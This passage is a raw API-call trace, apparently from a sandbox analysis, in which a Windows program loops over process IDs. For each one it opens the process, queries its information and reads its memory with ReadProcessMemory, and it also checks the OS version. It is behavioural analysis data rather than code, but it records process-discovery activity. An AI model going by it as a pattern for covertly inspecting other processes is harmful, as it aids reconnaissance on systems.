lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x482258, lpBuffer=0x5ec5a0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.279] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.279] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.279] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x481c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.280] malloc (_Size=0x74) returned 0xea9520 [0344.280] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4822c4, lpBuffer=0xea9520, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0344.280] free (_Block=0xea9520) [0344.280] CloseHandle (hObject=0xa9c) returned 1 [0344.281] _ui64tow_s (in: _Value=0x10ec, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4332") returned 0x0 [0344.281] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4332") returned 4 [0344.281] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.281] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.282] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10ec) returned 0xa9c [0344.282] GetLastError () returned 0x0 [0344.282] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.282] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.282] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.283] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.283] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.283] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.283] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.283] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x332020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.283] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.284] malloc (_Size=0x66) returned 0xeb6150 [0344.284] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322b6, lpBuffer=0xeb6150, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6150*, lpNumberOfBytesRead=0x0) returned 1 [0344.284] free (_Block=0xeb6150) [0344.285] CloseHandle (hObject=0xa9c) returned 1 [0344.285] _ui64tow_s (in: _Value=0x1164, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4452") returned 0x0 [0344.285] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4452") returned 4 [0344.285] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.285] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.286] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1164) returned 0xa9c [0344.286] GetLastError () returned 0x0 [0344.286] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.286] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.286] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.286] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532690, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.287] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x532258, lpBuffer=0x5ec5a0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.287] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.287] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.287] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2cb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.287] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x531c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.288] malloc (_Size=0x84) returned 0xe882d0 [0344.288] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5322d4, lpBuffer=0xe882d0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe882d0*, lpNumberOfBytesRead=0x0) returned 1 [0344.288] free (_Block=0xe882d0) [0344.288] CloseHandle (hObject=0xa9c) returned 1 [0344.317] _ui64tow_s (in: _Value=0x116c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4460") returned 0x0 [0344.317] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4460") returned 4 [0344.318] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.318] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.318] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x116c) returned 0xa9c [0344.318] GetLastError () returned 0x0 [0344.319] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.319] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.319] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.319] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.319] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d2258, lpBuffer=0x5ec5a0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.319] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.320] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.320] malloc (_Size=0x70) returned 0xea9020 [0344.320] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5d22c0, lpBuffer=0xea9020, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9020*, lpNumberOfBytesRead=0x0) returned 1 [0344.320] free (_Block=0xea9020) [0344.321] CloseHandle (hObject=0xa9c) returned 1 [0344.321] _ui64tow_s (in: _Value=0x11e8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4584") returned 0x0 [0344.321] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4584") returned 4 [0344.321] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.321] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.322] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11e8) returned 0xa9c [0344.322] GetLastError () returned 0x0 [0344.322] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.322] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.322] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.322] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582640, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x582258, lpBuffer=0x5ec5a0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.323] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.323] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x29a020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x581c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.323] malloc (_Size=0x6a) returned 0xea8ca0 [0344.323] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5822ba, lpBuffer=0xea8ca0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ca0*, lpNumberOfBytesRead=0x0) returned 1 [0344.324] free (_Block=0xea8ca0) [0344.324] CloseHandle (hObject=0xa9c) returned 1 [0344.325] _ui64tow_s (in: _Value=0x11f8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4600") returned 0x0 [0344.325] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4600") returned 4 [0344.325] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.325] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.326] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11f8) returned 0xa9c [0344.326] GetLastError () returned 0x0 [0344.326] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.326] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.326] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.326] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6126a0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.326] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x612258, lpBuffer=0x5ec5a0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.327] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.327] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x281020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x611c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.327] malloc (_Size=0x86) returned 0xe878b0 [0344.327] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6122d6, lpBuffer=0xe878b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe878b0*, lpNumberOfBytesRead=0x0) returned 1 [0344.328] free (_Block=0xe878b0) [0344.328] CloseHandle (hObject=0xa9c) returned 1 [0344.328] _ui64tow_s (in: _Value=0x1200, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4608") returned 0x0 [0344.329] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4608") returned 4 [0344.329] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.329] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.330] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1200) returned 0xa9c [0344.331] GetLastError () returned 0x0 [0344.331] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.331] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.331] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.331] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2660, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.331] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.332] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.332] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x2ec020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.332] malloc (_Size=0x72) returned 0xea8ba0 [0344.332] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22c2, lpBuffer=0xea8ba0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0344.333] free (_Block=0xea8ba0) [0344.333] CloseHandle (hObject=0xa9c) returned 1 [0344.333] _ui64tow_s (in: _Value=0x1248, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4680") returned 0x0 [0344.334] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4680") returned 4 [0344.334] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.334] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.335] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1248) returned 0xa9c [0344.335] GetLastError () returned 0x0 [0344.335] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0344.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6726b0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0344.335] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x672258, lpBuffer=0x5ec5a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0344.336] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0344.336] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0344.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x238020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0344.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x671c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0344.336] malloc (_Size=0x90) returned 0xec7660 [0344.336] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x6722e0, lpBuffer=0xec7660, nSize=0x8e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7660*, lpNumberOfBytesRead=0x0) returned 1 [0344.337] free (_Block=0xec7660) [0344.337] CloseHandle (hObject=0xa9c) returned 1 [0344.337] _ui64tow_s (in: _Value=0x1280, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="4736") returned 0x0 [0344.338] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="4736") returned 4 [0344.338] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0344.338] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0344.339] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1280) returned 0xa9c [0344.339] GetLastError () returned 0x0 [0344.339] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0344.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x307018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0344.339] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: 